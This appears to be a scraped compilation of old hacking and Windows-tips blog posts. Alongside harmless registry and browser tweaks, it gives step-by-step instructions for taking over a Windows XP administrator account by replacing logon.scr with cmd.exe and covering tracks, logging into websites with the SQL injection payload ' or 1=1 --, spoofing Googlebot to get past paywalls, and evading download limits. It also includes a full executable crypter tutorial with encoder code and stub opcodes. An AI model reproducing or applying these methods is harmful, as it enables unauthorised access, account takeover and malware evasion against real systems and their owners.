Hacks to Beat Rapidshare Download Limits and Waiting Time



Many visitors had asked me about bypassing Rapidshare download limits and Wait time so I went through some sites and found some very cool tricks which I have written in this article. If you have got any more tips you just tell me and I will write it in my article.





Rapidshare has been an excellent tool for sharing large files. Recently users have discovered ways of bypassing the download limits and skipping the waiting time. Here are a description of these methods.


Rapidshare traces the users IP address to limit each user to a certain amount of downloading per day. To get around this, you need to show the rapidshare server a different IP address.


Here are some methods for doing this:


1. Short-Out the JavaScript:

    1. Goto the page you want to download
    2. Select FREE button
    3. In the address bar put the following: javascript:alert(c=0)
    4. Click OK
    5. Click OK to the pop-up box
    6. Enter the captcha
    7. Download Your File

2. Request a new IP address from your ISP server.

    Here’s how to do it in windows:
    1. Click Start
    2. Click run
    3. In the run box type cmd.exe and click OK
    4. When the command prompt opens type the following. ENTER after each new line.
    ipconfig /flushdns
    ipconfig /release
    ipconfig /renew
    exit

    5. Erase your cookies in whatever browser you are using.
    6. Try the rapidshare download again.



Frequently you will be assigned a new IP address when this happens. Sometime you will, sometimes you will not. If you are on a fixed IP address, this method will not work. To be honest, I do not know how to do this in linux/unix/etc. If this works for you, you may want to save the above commands into a batch file, and just run it when you need it.

3. Use a proxy with SwitchProxy and Firefox:


4. Use an anonymous service:

    Running your system through the tor network should in theory work; however, it is difficult to use and setup. Plus, you allow others to run their evil deeds through your system as well by using this system. Anonymizer 2005 is inexpensive, easy to use, but not free. Other pay services would likely work as well.

5. You can use a bookmarklet to stop your wait times:

    1. Open IE
    2. Right Click On This Link
    3. Select Add to Favorites
    4. Select Yes to the warning that the bookmark may be unsafe.
    5. Name it “RapidShare No Wait”
    6. Click on the Links folder (if you want to display it in your IE toolbar)
    7. Click OK
    8. You may need to close and reopen IE to see it
    9. Goto rapidshare and click the bookmarklet when you are forced to wait

How to Hack Windows XP Admin Password

If you log into a limited account on your target machine and open up a dos prompt then enter this set of commands Exactly :


cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos




Now what you have just done is told the computer to backup the command program and the screen saver file, then edits the settings so when the machine boots the screen saver you will get an unprotected dos prompt without logging into XP.


Once this happens if you enter this command :


net user password


If the Administrator Account is called Frank and you want the password blah enter this


net user Frank blah


and this changes the password on franks machine to blah and your in.


Have Fun!


p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks

Xp Registry tricks II

This artcle is a continuation to the cool tricks in XP which you can use to freak out your friends but don’t atempt any of them without completly reading the complete article and before doing anything don’t forget to get the back-up of the registry so if anything goes wrong get the old configuration back.

Easy Text Size Change in Help & IE Tip:


I mentioned a way that you can change the size of the text that is display in the Help file and in Internet Explorer. As it turns out if you have a “wheel mouse,” there is an even easier way to change the text size. In Internet Explorer or when viewing a Help file, simply hold the ctrl key while you spin the mouse wheel up to increase text size, or down to decrease text size.
Java VM: Java applets run in Internet Explorer 6 (a component of Windows XP) just as they run in older versions of Internet Explorer. The Java VM is not installed as part of the typical installation, but is installed on demand when a user encounters a page that uses a Java Applet. For more information see the Microsoft Technologies for Java Web site.

Windows XP Shutdown and Power Off Tip:


On some computers, by default, Windows XP doesn’t power off the computer when you tell it to shut down. However, if your computer is relatively new, it can probably by shut completely off by WinXP. To configure your computer for this behavior, simply open the Control Panel, open Performance and Maintenance, then Power Options. On the APM tab, check next to “Enable Advanced Power Management support,” then click OK. The next time you choose “Shut Down” from the Start Menu, your computer should shut down completely and then power off.


——————————————————————————–
Customize Explorer Toolbar Tip:


In Windows Explorer, you can customize the toolbar to make Explorer even more handy. The Toolbar is the bar of icons directly underneath the menu bar. It contains icons for going back, up one level, displaying folders or search, etc. You can right-click an open area of this Toolbar and choose Customize to change the order of these icons, and even to add new icons to it. For instance, I like to add the Map Drive and Disconnect buttons. In Windows XP, you may have to unlock the Taskbar before you can make changes in Windows Explorer.
Lock the Taskba - If you find that your Windows XP Taskbar keeps being changed, or moved to one side or the top of your screen, and you didn’t mean to have it do that, this tip is for you. Once you have your Task Bar arranged the way you like it, in the right location on the screen, and with all the right toolbars and icons, you can lock it, so that it won’t get changed accidentally. To lock the Taskbar, simply right click it and choose Properties. In the window that appears, check the box (click) next to “Lock the Taskbar.” Now you won’t accidentally bump the mouse and have your Task bar end up on another side of the screen.


——————————————————————————–
Check Personal Firewall Status Tip:


In the previous tip, I mention how to turn on Windows XP’s Personal Firewall feature. But once you turn it on, your connection looks just the same as it did before. How can you check the status of the connection and the firewall? Simply open Control Panel from the Start Menu, open Internet and Network Connections, then Network Connections. By default the view is of large icons.
Click the View Menu, and choose “details” in order to reveal several more columns of information about the connections that your computer has. Check the Status column to see if your connection is currently connected, and whether or not it is “firewalled.” You can even drag the column headings around (I like to slide the Status column right next to the Name column. You can even remove entire columns by right-clicking the column heading and unchecking it.


Where does Window’s Product Id get stored Tip:

There are two places at least where ProductId gets stored. To see the first place, open Registry by going to START-RUN and entering REGEDIT and Navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion]. In right pane, look for key by the name “ProductId”. This is your Windows Product Id. Alternatively you can navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion] and still find same field with the name ProductId.


——————————————————————————–


You can Keep Your Favorite Programs on Top of the Start Menu tip:


Do you have a favorite program that you frequently use? Elevate its priority on the Start menu by putting it at the top of the list. This ensures that the program will remain on the Start menu and cannot be bumped by other programs, even if you use the others more frequently.
Right-click the link to your favorite program on the Start menu and select Pin to Start Menu.
Your program will be moved permanently to the top part of the list, just below your browser and e-mail programs.

Having problems with Outlook Express ? Does it ask for password everytime you connect tip:


If this is problem for you. Sometimes no matter what you do, Outlook Express forgets your password and asks you to enter it again each and every time you connect to your mail server.I have a solution that may work for you. Open Registry by going to START-RUN and entering REGEDIT and Navigate to HKEY_CURRRENT USER\Software\Microsoft and look for “Protected Storage System Provider”. There is a good chance that you will see this folder. If you have it. Simply delete it. More than likely, you have solved your problem.

How to avoid autoplay of CD ? Way I like best tip.


Hey this time no registry trick even though there are ways in registry to do it. In earlier operating systems only those CD that had autorun.inf file in their root directory were able to execute on its own but with advent of WINDOWS XP it has become possible with just about anything. Well sometimes it is good but there are other times when you want to avoid this part of automation. What would I do. Simply press SHIFT key when you enter a CD in your CD drive. It won’t Auto play. For those of you, who do want a registry hack. Here it is:
Open Registry and navigate to [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] and look for key “NoDriveTypeAutoRun” and set its value to 185 (decimal). This would stop autoplay.


——————————————————————————–
This tip to speed up the Start Menu in Windows XP.

Did you know you can customize the speed of the Start Menu by editing a Registry Key?



  1. Click Start, and then click Run.

  2. Type Regedit in the box, and then click OK.

  3. Expand the menu in the left panel and select the HKEY_CURRENT_USER\Control Panel\Desktop folder.

  4. Scroll down in the right panel and double click on the MenuShowDelay file.

  5. In the Value Data box, change to default value for the menu speed from 400 to a lesser number, such as 1.

  6. Click OK.



Caution: Incorrectly editing the registry may severely damage your system. Before making changes to the registry, you may want to back up any valued data on your computer.

Customizing Windows Explorer Context menu (right click menu in windows explorer)


Ever wondered how does the right click menu (which is actually a context menu) work ? For example, when I right click in windows explorer, I see an option which says “open command window here”. Do You know why I see this ? Well I see this because I have following entries in my registry.


[HKEY_CLASSES_ROOT\Drive\shell\cmd]
@=”Open Command Window Here”
[HKEY_CLASSES_ROOT\Drive\shell\cmd\command]
@=”C:\WINDOWS\System32\cmd.exe /k cd “%1″”
If You have never used a tweaking utility and have newly installed Windows XP, You would not see this option. You would have to navigate to [[HKEY_CLASSES_ROOT\Drive] go and create two subkeys (”cmd” and within that “command” and would have to put the text “Open Command Window Here” without quotes in default string value of “cmd” key and the text “C:\WINDOWS\System32\cmd.exe /k CD”%1″” without quotes in default string value of command key). After this You need to REBOOT for these changes to take effect.
Trick is in adding similar entries for other applications as well even though its much harder to come with ideas about what to put in the context menu!!!! .

Prevent spam in your Gmail account

Are you worried about spam in your precious gmail account ?




If yes, then you would like to consider making aliases of your gmail id to use when you’re not sure whether you’re signing up for something safe or not.



It is a very simple task to provide an alias of your gmail id. Whenever you sign up on the internet on some site that you think may not be safe (or a site which might send you spam),all you have to do is give out the email address as




For example if your email id is james@gmail.com,you can provide james+21@gmail.com or james+test@gmail.com .You can put anything after the + and all email sent will still go to your gmail account.




In the event that you did give your email to a spammer and you start receiving spam, don’t worry! Just create a filter, and make everything that is sent to username+whateveryouputhere@gmail.com go to the trash. This way all the spam that you might get will automatically be deleted.

5 Best Replacements For Windows Notepad

There are many applications in Microsoft Windows that do not come up to my taste and I find them quite boring and dull. Unfortunately the default Windows Notepad is one of them. Though it is one very simple and easy-to-use text editor but still it has very limited functions and is not at all recommended for hardcore users.

1. ProNotepad 2
ProNotepad 2 has some quick tools and tabbed browsing/editing feature.


2. Notepad++
Notepad++ is a free open source text editor that features syntax highlighting, multi-document view and you can even drag and drop files.


3. Notepad 2
Notepad 2 is another substitute for the legendary Windows Notepad. It makes itself unique as it runs out of box without any installation and does not touch your system registry. It also has syntax highlighting.

Convert youtube videos



Its been really long since I introduced any useful web 2.0 service to my readers. Usually I introduce only those web 2.0 services that bring new ideas and concepts but this time I have a web 2.0 site for you that redefines an original concept and brings a service for your benefit and ease.

Convert YouTube Videos Online To any Format

Vconvert brings an amazing web 2.0 service for everyone of us who is a big YouTube fan and likes downloading and watching stuff on YouTube. This service makes our YouTube lives more healthy and easy to manage. Obviously by now you would have got your hands on at least one of those softwares or online services that help you download YouTube videos. This new service works much similar to all those online services except that it also lets you convert YouTube videos online to any possible format.

Download YouTube Videos in .wmv .mov .mp4 etc Formats


This service is brilliant and very easy to use. It lets you convert your YouTube videos to 6 different formats before downloading them to your computer. This way you don’t have to waste your time using those stupid file converters and you can just convert and download videos online without any problem. The 6 different formats allowed are:


Windows (.wmv)
Mac (.mov)
iPod/PSP/iPhone (.mp4)
Mobile (.3gp)
Audio (.mp3)
Flash (.flv)

The audio conversion feature helps you extract audio from your YouTube videos and download it. This way you can consider YouTube as your free source of unlimited online audio music as it has virtually every music video hosted on it.

How To Use This Service


This is also one of those (which I call) Plug and Play online services in which all you need to do is enter the URL and they do the job for you. In this case all you need to enter is the URL of your YouTube Video and it will download the video to the server, convert it and make it available for you to download in your desired format (You may have to wait a minute or two)
I think this service will definitely spice up your YouTube experience. Don’t forget to try it out and share your comments and thoughts

Firefox tricks


You really don’t need to tweak your browser in case you are using Firefox because it is a browser which has been specially designed for optimized and fast browsing but if you can make it even a little more fast that would certainly be a treat for you. Likewise there is a trick to make Internet Explorer 6 fast too. Browsers are designed to work with fast connections but with this trick even dial-up users can experience fast and smooth browsing.

Optimize Firefox and IE Browsing Speed

I shall be teaching you two tricks which work separately on Firefox and Internet Explorer. It doesn’t require you to be some expert rather all you have to do is change some registry values and you are done. I have also included a video tutorial for those who want to see it step by step visually. This is perhaps one of the oldest tricks to optimize Firefox and IE but it still works great.

Trick to Increase Firefox Speed



  • Open firefox and in the address bar write about:config and press enter

  • Double click network.http.pipelining and set it to True

  • Double click network.http.pipelining.maxrequests and set value to 10 from 4

  • Right click and create a new string nglayout.initialpaint.delay and set its value to 0


You are done. Enjoy lightning fast Firefox browsing and now for IE.

Trick to Increase Internet Explorer Speed


  • Go to Start –> Run and type regedit

  • Select HKEY_CURRENT_USER –> Software –> Microsoft –> Windows –> Current Version –> Internet Settings

  • Increase the values (DECIMAL) from default to a higher value e.g. 10


See the difference in speed of IE


Don’t forget to apply this tweak and share your thoughts if the magics work and don’t forget to bookmark this post too.

Use Gmail Space as a Hard Drive





Gmail is really famous among users of all the email clients available on the web and that is not because it has a cool interface rather it is famous for its reliability and huge space (3GB now thats something). Google doesn’t stop here and recently Google announced that users can now buy more online storage for Google services just by paying a little amount. So why not use this online storage space and use it externally (Probably as a network drive or one of your own computer hard drives).


Use Google Storage Space as Google Drive

Here I have some great little utilities (3 softwares and 2 web scripts) that you can try to use your Gmail account space as your external hard drive. You will be able to download (or should I say copy) attachments from your Gmail account to your computer just as you would do from a drive on your computer. You can also use this space to upload content direct from your computer and save it online in your Gmail account.


1. GMail Drive



GMail Drive is third party addon for Windows that lets you use your Gmail account space as an extra drive on your computer. It allows a user to access a virtual drive stored in a Gmail e-mail account by causing the contents of the Gmail account to appear as a new network share on the user’s workstation. In order to use this add-on, the user needs a Gmail e-mail account. The add-on enables the user to use the standard Windows desktop file copy and paste commands to transfer files to and from the Gmail account as if it was a drive on the user’s computer.




2. GSpace



GSpace is a firefox extension that turns your 3GB of your Gmail account into free online storage. With Gspace you can manage unlimited Gmail accounts to store all type of files within its simple, user friendly interface. You can also listen your favourite stored music directly from your Gspace, view your collections of pictures and manage your Gdrive files as well.




3. GmailFS


GmailFS or Gmail File System is a virtual file system developed by Richard Jones which allows users to mount and use their Gmail email account’s storage as a local disk drive. GmailFS is written for Linux, but Windows and Mac OS X ports do exist. Using GmailFS will provide the user with roughly three gigabytes of online storage. The speed of this filesystem is limited by the speed of the user’s Internet connection, and the upload/download speed of the Gmail server. Files can be any size, and are stored as (segmented) attachments.




4. G-Share




G-Share is a PHP script that allows you to share your gmail attachments in a webpage, it is a download center with files stored in your Gmail account. You need a MySQL database to store data such as download counters, visitors, etc




5. PHP Gmail Drive


PhpGmailDrive, also known as PGD, is an open source software program written in PHP to share Gmail file attachments on the web. PGD is based on GmailFS, a Gmail attachment file system that uses email subjects for organization.

Which Browser Are More Secure


Some new statistics just came out regarding Browser Security, this is more in terms of which users are most likely to apply patches and be using the most secure version.

I would have thought Firefox would have been pretty high since the newer series prompt automatically new patches. My only guess is a lot of people are still using 1.5x series which didn’t have that feature.

It turns out, that Internet Explorer is the ‘most secure’. Well that’s very subjective as IE doesn’t show sub versions like the other browsers do..and Windows Updates pushes out patches quite agressively. It also depends which set of data you look at as both conflict, one says Firefox users are more secure and one says IE.

The researchers who published a large study of web browser security this week had a great idea and excellent data to work with. Too bad they overreached with their conclusions. A lot more is being made of this paper than is warranted.

The researchers, from ETH Zurich, Google, and IBM, looked at log data provided by Google from their global user base for web search and applications for the period between January 2007 and June 2008. This data was based on the browser user-agent string, which is also the reason the data is not as telling as the authors argue.

What did the study conclude? First, lots of users are not running the most up-to-date and secure versions of their web browsers. Second, that this is primarily a phenomenon of Internet Explorer users; Firefox users, on the other hand, overwhelmingly update their browsers quickly. These and other results lead the authors to suggest that browsers get expiration dates, much like milk and pharmaceuticals.

As expected though a LOT of users are not running the latest version of their browser, but that doesn’t surprise us really does it?

I think the versioning is an issue though, with IE you only get to know about the major version (IE5, IE6, IE7, IE8) and not which actual patches they have applied.

Why, one might ask, does Microsoft not provide minor version information? Microsoft’s David LeBlanc answers that question in his blog by saying that they consider such information to be an “information disclosure vulnerability.” In other words, by giving a web-based attacker precise version information, you are also giving them better information on how to attack that browser.

In these measurements IE7 users are much more likely to be up to date than other browser users. The authors are correct that Secunia users are more likely to be security-aware, but even when they try to adjust the numbers, multiplying the IE7 number by 2.1 “… to correct for the bias of Secunia’s measurement within a security aware user population” IE7 still ends up looking better.

There is actually a discrepency between the two sets of data, the metrics are odd though and are based on heavy assumptions (IE7 is secure but IE6 is not, while IE7 is a MORE secure browser architecture and feature wise, a fully patched IE6 can also be perfectly secure).

I’d be interested to see more of these stats and see the full Google access logs for a few month period.

That would be some interesting data mining.

Build your own executable crypter

This article will take you through the basic steps of building an executable crypter. All of the steps performed in this article require manual setup and integration to prepare the exe for the crypter stub. The focus of this article is to walk you through the theory and know-how of how crypters work and does not attempt to create the latest greatest point and click solution.

For a basic background, here is how executable crypters work:

1) The actual processor commands of a protected binary are
crypted/obscured/munged whatever

2) When the protected application first starts, a small decrypter
stub is first run that restores all of the original processor
commands for the executable in memory.

3) Finally, the decrypter stub ends and transfers execution to the
original entry point (OEP) and the program runs normally.

In the course of this paper, we are going to manually implement a very simple 'crypter' to show you all of the development techniques, design considerations, and debugging details required to make your own.

First, let me introduce you to our target executable. It is a 28kb hello world application written in C. This simple application merely prints out "Hello World" to the screen, waits for a keypress and then exits.

To get us started, lets examine the PE structure of the executable file. Below is an image of the PE section table. You will notice that the .text section (where the actual executable code is housed) has a raw size of 4000h and a virtual size of 3DCEh .

The discrepancy in the numbers indicates that at the end of the .text section there is a certain amount of unused space not currently mapped into memory when the file is loaded. This blank spot in the executable file is good because it means we have an empty pad where we can place our own executable code.

To visually verify this you can open up the file in a hexeditor and look for a null pad. To know where to look you have to be able to find the right file offset. In our sample exe this is simplified because all of our sections have a virtual size <= their raw size and each sections raw offset = its virtual offset.

This is nice because it keeps all of the rva values in the PEheader = raw file offsets however this is not always the case. V.2 of the pe editor classes now take this into account and can calculate file offsets from rva values correctly. The assumption of rva = file offset will be made through out the remainder of this article because it holds true for this particular sample we are analyzing.

So...to see this null pad open up the original exe file in a hexeditor and check out the area between 4DCEh and 5000h (RawOffset + VirtualSize)

For our needs this will be more than enough space to place our simple decrypter stub. We do not necessarily need to squeeze our code into an existing section. Had we been short on space, we could have resorted to adding a new PE section and placing our code there.

Ok, we have found a home for our decrypter block, but first we have to make some adjustments to the PE section characteristics so that:

A) our decrypter code gets loaded into memory
B) once mapped into memory, we have write access to the main body of code
C) when the program is first loaded, execution begins with our decrypter code

As noted above, the virtual size of the section (the size loaded into memory) does not include this null pad we found in the file. Since we are going to be adding code to this area, we need to make sure that this area is loaded into memory as well. This is accomplished by increasing the virtual size for this PE section using a PE editor such as LordPE.

The second change we have to make is to make sure that the .text section is flagged as a writable area once mapped into memory. This is necessary because our decrypter stub needs to dynamically rewrite (decode) the actual processor codes to be executed. This too is easily done with LordPE from the "edit section header" dialog. Below is a graphic of the dialog sequence and field manipulations required in LordPE. Highlighted in yellow are the fields that we have altered.

Our next goal now becomes to make sure that when the executable first loads it is our decrypter stub that is first run. Since the real processor commands for the executable will not present on disk, having the program start at the original entry point would have the machine trying to execute what is essentially a jumbled block of data.

The program entry point can be directly edited from LordPEs main interface. For our demonstration lets choose to set the entry point at 4E00h. This offset sits 32 bytes from the end of our real applications code and gives us a nice easy spot to find in the hexeditor.

With the PE structure modifications out of the way, now we can move on to the actual work. Here is what we have left:

D) build the decrypter stub
E) crypt the actual executable's opcodes
F) integrate our decrypter stub into the modified binary

Lets start with some design visions for our encoding mechanism. Since this is a demo and a trainer, the encoding mechanism is going to be kept as lightweight and simple as possible. For these reasons a simple XOR encoding will be used.

The next design consideration is to enumerate what kind of variables a generic crypter stub is going to need. Basically any crypter stub is going to need three things:

1) what offset (in memory) to start decrypt data
2) length of the data to decrypt
3) entry point to transfer execution to after decrypted

Since we are designing a really simple stub, I am going to take a short cut and start the encryption routine right at the programs original entry point. While the EP is not at the very beginning of the code section, it is usually close enough that the majority of processor commands will be encrypted.

Before we get into the actual design and development of out decrypter stub, lets knock off the easy part of XORing the original opcodes first. This is a simple operation, and can be done in whatever way is the most convenient for the developer. The implementation I chose was to create a quick VB program that loops through the binary applying the XOR to the appropriate bytes representing the applications opcodes.

For a quick refresher:

Q) How do i know where the opcodes begin?
A) for our simple setup we are starting at the original program
entry point found in the PE Header

Q) How do I know how long of a block to encode?
A) Since we want to encode all of the opcodes after the entry point,
length of the data to encrypt is Original Virtual Size - Entry Point

Inline below is the VB source code used to encode the executable's opcodes:

StartAt = &H1048 'original entry point
length = &H2D86 '3DCE - 1048 (virtual size - entrypoint)

Open p2 For Binary As f

For i = 1 To length
offset = StartAt + i
Get f, offset, b
b = b Xor &HF
Put f, offset, b
Next

Close f


With that out of the way, we are now down to developing our decrypter stub. Basically what we need is a small block of ASM commands that we can paste into the encoded binary at our new entry point.

Below is the decoder block I came up with written in C:

void main(void){

int i;
char b;

char *buffer = 0x400000 ; // imagebase
long length = 0xBEEF ; // <-length of code (placeholder)

buffer += 0xDEAD ; // <- OEP offset (placeholder)

for(i=0; i < length; i++){

b = buffer ;
b = b ^ 0xF ;
buffer = b ;

}

_asm jmp buffer

}

Let me mention a couple points and design considerations about the above code.

* To make the stub generic you are going to have to edit the length and entry point offsets each time you use it. Make these some recognizable values in hex to make it easier to find them in the hexeditor.

* *buffer initially points to the imagebase, remember you are going to be working on memory addresses. The reason I increment *buffer latter to the entry point offset is because I will have to edit this value independently in a hexeditor.

* to transfer execution to the original entry point we just use a inline asm command jmp buffer. At this point *buffer is already pointing directly to the programs original entry point.

All in all it is a very simple decoder stub. The trick comes in debugging and implementing it. Since the decoder is designed to work on data and offsets not found in this standalone application, we can really only use the compiler to generate the opcodes for the commands we need. Debugging takes place by integrating the actual stub byte codes into our crypted exe and running that through the debugger.

Now that we have our proposed C source, we need the assembler byte codes associated with it. The easiest way I have found to get the asm byte codes from the compiler is to set a break point at the top of the code and start up the VC debugger by pressing F5.

Once VC has compiled the code, it will then launch the built in debugger which pauses execution at your preset breakpoint. Now you can right click on the main window and choose "goto disassembly" to see a mixed assortment of C and ASM commands.

Below is a stripped down ASM block generated by the compiler for us. On the left are the actual byte codes associated with the string assembler commands on the right.

C7 45 F4 00 00 40 00 mov dword ptr [ebp-0Ch],400000h
C7 45 F0 EF BE 00 00 mov dword ptr [ebp-10h],0BEEFh
8B 45 F4 mov eax,dword ptr [ebp-0Ch]
05 AD DE 00 00 add eax,0DEADh
89 45 F4 mov dword ptr [ebp-0Ch],eax
C7 45 FC 00 00 00 00 mov dword ptr [ebp-4],0
EB 09 jmp main+43h
8B 4D FC mov ecx,dword ptr [ebp-4]
83 C1 01 add ecx,1
89 4D FC mov dword ptr [ebp-4],ecx
8B 55 FC mov edx,dword ptr [ebp-4]
3B 55 F0 cmp edx,dword ptr [ebp-10h]
7D 22 jge main+6Dh
8B 45 F4 mov eax,dword ptr [ebp-0Ch]
03 45 FC add eax,dword ptr [ebp-4]
8A 08 mov cl,byte ptr [eax]
88 4D F8 mov byte ptr [ebp-8],cl
0F BE 55 F8 movsx edx,byte ptr [ebp-8]
83 F2 0F xor edx,0Fh
88 55 F8 mov byte ptr [ebp-8],dl
8B 45 F4 mov eax,dword ptr [ebp-0Ch]
03 45 FC add eax,dword ptr [ebp-4]
8A 4D F8 mov cl,byte ptr [ebp-8]
88 08 mov byte ptr [eax],cl
EB CD jmp main+3Ah
FF 65 F4 jmp dword ptr [ebp-0Ch]

In order for us to insert this into our executable, we must further strip out just the byte codes and write the hex values into our executable file. A nice way to do this is to strip out the assembler commands, remove all of the spaces, and place then in a long string such as this:

C745F400004000C745F0EFBE00008B45F405ADDE00008945F4C745FC
00000000EB098B4DFC83C101894DFC8B55FC3B55F07D228B45F40345
FC8A08884DF80FBE55F883F20F8855F88B45F40345FC8A4DF88808EB
CDFF65F4

From here, you can copy the text string and write the associated hex values directly into the binary using the Winhex hexeditor by highlighting the start offset (4E00h) pressing Ctrl-B (write clipboard) and then choosing the "ACII Hex" clipboard format.

Once that is done, all we have left is to edit the data length and start offset placeholders compiled into the stub and it will be configured for this binary. If you wrote the stub in starting at offset 4E00h then you will find the BEEFh data length marker at offset 4E0Ah , and the DEADh entry point marker at offset 4E12h.

Note that both of these values are in little endian format. When you go to modify them with the actual values, remember to also write the new values in little endian format.

Below are hexeditor views of the modifications made.

Offset 0 1 2 3
00004E10 .. .. AD DE (DEAD)
00004E10 .. .. 48 10 (1048)

Offset 0 1 2 3 4 5 6 7 8 9 A B
00004E00 .. .. .. .. .. .. .. .. .. .. EF BE (BEEF)
00004E00 .. .. .. .. .. .. .. .. .. .. 86 2D (2D86)

With our decrypter block in place, our main code crypted, and the entry point now aimed at the decrypter, everything should be set and ready to run !

Open it up in Olly, give it a shot and see what happens. Before you start stepping through code, look around the original entry point and see what the disassembly looks like.

004010DC 12 DB 12
004010DD 05 DB 05
004010DE 0F DB 0F
004010DF 0F DB 0F
004010E0 AE DB AE
004010E1 53 DB 53
004010E2 63 DB 63
004010E3 4F DB 4F
004010E4 0F DB 0F
004010E5 AC DB AC
004010E6 6F DB 6F
004010E7 63 DB 63
004010E8 4F DB 4F

Yup, thats a jarbled mess characteristic of a data block or encrypted opcodes... Now go back to the end of the decrypter block and set a breakpoint on the final "jmp buffer" command:

00404E55 >^FF65 F4 JMP DWORD PTR SS:[EBP-C] ; final.00401048

After reaching this point, scroll back up again and take another look at the original entry point 401048. If you still see a junk block of commands such as the above mess, it is because Olly has not yet analyzed the new byte values for processor commands. To fix this, right click in the main disassembly window and choose 'analyze code'. Now you should see the actual decoded instructions:

00401048 /. 55 PUSH EBP
00401049 |. 8BEC MOV EBP,ESP
0040104B |. 6A FF PUSH -1
0040104D |. 68 B8504000 PUSH final.004050B8
00401052 |. 68 9C244000 PUSH final.0040249C ; SE handler installation
00401057 |. 64:A1 00000000 MOV EAX,DWORD PTR FS:[0]
0040105D |. 50 PUSH EAX
0040105E |. 64:8925 000000>MOV DWORD PTR FS:[0],ESP
00401065 |. 83EC 10 SUB ESP,10

Now you can hit the run button and Voila ! It should all function just as expected !

Looks like everything is in place and running just as it should be Smiley

Note that using C to generate the Opcodes can make the decoder a bit bloated. If you wanted to write your decoder directly in asm you could use a stub similar to the following: (even this could be optimized further)

00404E3A B8 48104000 MOV EAX,401048 ;start offset
00404E3F B9 862D0000 MOV ECX,2D86 ;length
00404E44 8BD0 MOV EDX,EAX ;copy of start offset (OEP)
00404E46 8030 0F XOR BYTE PTR DS:[EAX],0F ;top_of_loop decode inst
00404E49 40 INC EAX ;next byte
00404E4A 49 DEC ECX ;dec counter
00404E4B ^75 F9 JNZ SHORT 00404E46 ;counter !=0 goto top_of_loop
00404E4D FFE2 JMP EDX ;jmp OEP

As one last little nugget, let me throw out a quick tip you can use to restore a crypted exe such as this to its former state Smiley

Lets assume the decrypter stub did some actual encryption that we do not want to try to reverse engineer. If the crypter stub only operated on an uncompressed data block that was fully present in the exe and did not perform any other tricks or manipulations the restoration of the executable can actually be very simple.

Give this a shot..load the exe in olly and break on the last jmp buffer. Here the actual executable code is fully decrypted in memory and ready to be run. Now fire up LordPE and dump the 401000 - 405000 memory address range to grab the full .text section from memory. You now have all of the decrypted opcodes saved to disk Wink

Write down the address of the original entry point that the jmp command was going to take you to and exit olly. Open up the memory dump and the crypted exe in Winhex and write the entire dump of the .text section over the crypted .text section in the executable.

Save it, then change the entry point back to the original you wrote down and give it a click. Tadaahhh magic.....kinda..well not really...but you know. *shrugs*

Anyway, this was a fun bit to design and figure out how to do. Hopefully this takes some of the "magic" out of how executable crypters work and should be enough to help someone else along.

I also caved in and wrote an quick point and click utility to integrate this crypter stub into arbitrary executables. You can snag the app plus VB source here. (also has a nice set of classes for PE header manipulation)

Make Mp3 Files Smaller Without Losing Quality

If you don't already have a copy of MusicMatch Jukebox, download one from musicmatch.com. The "Plus" version has more features and burns CDs faster, but the free version works just fine for converting files
1. Install music match box and then restart your computer if it asks
2. open music matchbox and click file convert files
3. in the bottom right hand corner called 'destination type' change it to mp3 pro.
4.you can edit the bitrate but the higher the bitrate the bigger the size
5. choose the songs you want to convert and click start***if you want to try something different repeat step one and 2 and instead of making the destintion type mp3 pro make it 'mp3pro vbr'again the lower the setting the smaller the size.

Hacking Websites

If you have the html and javascript knowledge then you can access password protected websites. So you want to know how??
keep reading.....
1. Open the website you want to hack. Provide wrong username-password in its log in form.
(e.g : Username : me and Password: ' or 1=1 --)
An error will occur saying wrong username-password. Now be prepared
Your experiment starts from here...
2. Right click anywhere on that error page =>> go to view source.
3. There you can see the html codings with javascripts.
4. There you find somewhat like this....<_form action="..login....">
5. Before this login information copy the url of the site in which you are.
(e.g :"<_form..........action=http://www.targetwebsite.com/login.......>")
6. Then delete the javascript from the above that validates your information in the server.(Do this very carefully, ur success to hack the site depends upon this i.e how efficiently you delete the javascripts that validate ur account information)
7. Then take a close look for "<_input name="password" type="password">"[without quotes] -> replace "<_type=text> " there instead of "<_type=password>". See there if maxlength of password is less than 11 then increase it to 11 (e.g : if then write )
8. Just go to file => save as and save it any where in your hardisk with ext.html(e.g: c:\chan.html)
9. Reopen your target web page by double clicking 'chan.html' file that you saved in your
harddisk earlier.
10. U see that some changes in current page as compared to original One. Don't get worried.
11. Provide any username[e.g:hacker] and password[e.g:' or 1=1 --]
Congrats!!!!!! You have successfully cracked the above website and entered into the account of Ist user saved in the server's database.
*****[Please read "_form"="form" & "_type"="type" & "_input"="input" without quotes]
The above trick won't work on the websites using latest technique to protect there servers. Still you may find some websites to use this trick. Enjoy!!!!
WARNING: We post this trick just for your educational knowledge only. Don't misuse it other wise you will be in trouble. I take no responsibility of usage of the above trick]

Secret Backdoor To Many Websites

Ever experienced this? You ask Google to look something up; the engine returns with a number of finds, but if you try to open the ones with the most promising content, you are confronted with a registration page instead, and the stuff you were looking for will not be revealed to you unless you agree to a credit card transaction first....
The lesson you should have learned here is: Obviously Google can go where you can't.Can we solve this problem? Yes, we can.
We merely have to convince the site we want to enter, that WE ARE GOOGLE.In fact, many sites that force users to register or even pay in order to search and use their content, leave a backdoor open for the Googlebot, because a prominent presence in Google searches is known to generate sales leads, site hits and exposure.Examples of such sites are Windows Magazine, .Net Magazine, Nature, and many, many newspapers around the globe.How then, can you disguise yourself as a Googlebot? Quite simple:
by changing your browser's User Agent.
Copy the following code segment and paste it into a fresh notepad file. Save it as Useragent.reg and merge it into your registry.Windows Registry Editor Version 5.00[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\User Agent]@="Googlebot/2.1""Compatible"="+http://www.googlebot.com/bot.html"Voila! You're done!You may always change it back again....
I know only one site that uses you User Agent to establish your eligability to use its services, and that's the Windows Update site...
To restore the IE6 User Agent, save the following code to NormalAgent.reg and merge with your registry:
